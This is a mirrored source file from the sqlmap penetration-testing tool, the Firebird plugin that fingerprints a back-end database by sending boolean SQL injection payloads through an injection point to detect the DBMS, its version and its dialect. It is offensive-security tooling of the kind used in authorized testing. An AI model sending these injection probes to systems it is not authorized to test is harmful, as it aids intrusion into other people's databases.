mirror of
https://github.com/sqlmapproject/sqlmap.git
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c8f943f5e4
Major code refactoring and commenting to detection engine. Ask user whether or not to proceed to test remaining parameters after an injection point has been identified. Restore beep at SQL injection find. Avoid reuse of same variable in DBMS handler code. Minor adjustment of payloads XML file.
153 lines
4.5 KiB
Python
153 lines
4.5 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import getUnicode
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from lib.core.common import randomInt
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from lib.core.common import randomRange
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.enums import DBMS
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from lib.core.session import setDbms
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from lib.core.settings import FIREBIRD_ALIASES
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from lib.request.connect import Connect as Request
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from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
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class Fingerprint(GenericFingerprint):
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def __init__(self):
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GenericFingerprint.__init__(self)
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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if not conf.extensiveFp:
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value += DBMS.FIREBIRD
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return value
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actVer = formatDBMSfp() + " (%s)" % (self.__dialectCheck())
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"]
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if re.search("-log$", kb.data.banner):
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banVer += ", logging enabled"
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def __sysTablesCheck(self):
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retVal = None
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table = (
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("1.0", ["AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]),
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("1.5", ["AND NULLIF(%d,%d) IS NULL", "AND EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)"]),
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("2.0", ["AND EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "AND BIT_LENGTH(%d)>0", "AND CHAR_LENGTH(%d)>0"]),
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("2.1", ["AND BIN_XOR(%d,%d)=0", "AND PI()>0.%d", "AND RAND()<1.%d", "AND FLOOR(1.%d)>=0"])
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)
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for i in xrange(len(table)):
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version, checks = table[i]
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failed = False
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check = checks[randomRange(0,len(checks)-1)].replace("%d", getUnicode(randomRange(1,100)))
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payload = agent.fullPayload(check)
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result = Request.queryPage(payload)
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if result:
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retVal = version
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else:
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failed = True
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break
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if failed:
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break
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return retVal
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def __dialectCheck(self):
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retVal = None
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if kb.dbms:
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payload = agent.fullPayload("AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
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result = Request.queryPage(payload)
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retVal = "dialect 3" if result else "dialect 1"
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return retVal
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def checkDbms(self):
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if (kb.dbms is not None and kb.dbms.lower() in FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES:
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setDbms(DBMS.FIREBIRD)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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logMsg = "testing Firebird"
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logger.info(logMsg)
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randInt = randomInt()
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payload = agent.fullPayload("AND EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))
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result = Request.queryPage(payload)
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if result:
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logMsg = "confirming Firebird"
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logger.info(logMsg)
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payload = agent.fullPayload("AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "the back-end DBMS is not Firebird"
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logger.warn(warnMsg)
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return False
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setDbms(DBMS.FIREBIRD)
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self.getBanner()
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if not conf.extensiveFp:
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return True
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kb.dbmsVersion = [self.__sysTablesCheck()]
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return True
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else:
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warnMsg = "the back-end DBMS is not Firebird"
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logger.warn(warnMsg)
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return False
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def forceDbmsEnum(self):
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conf.db = "Firebird (*)"
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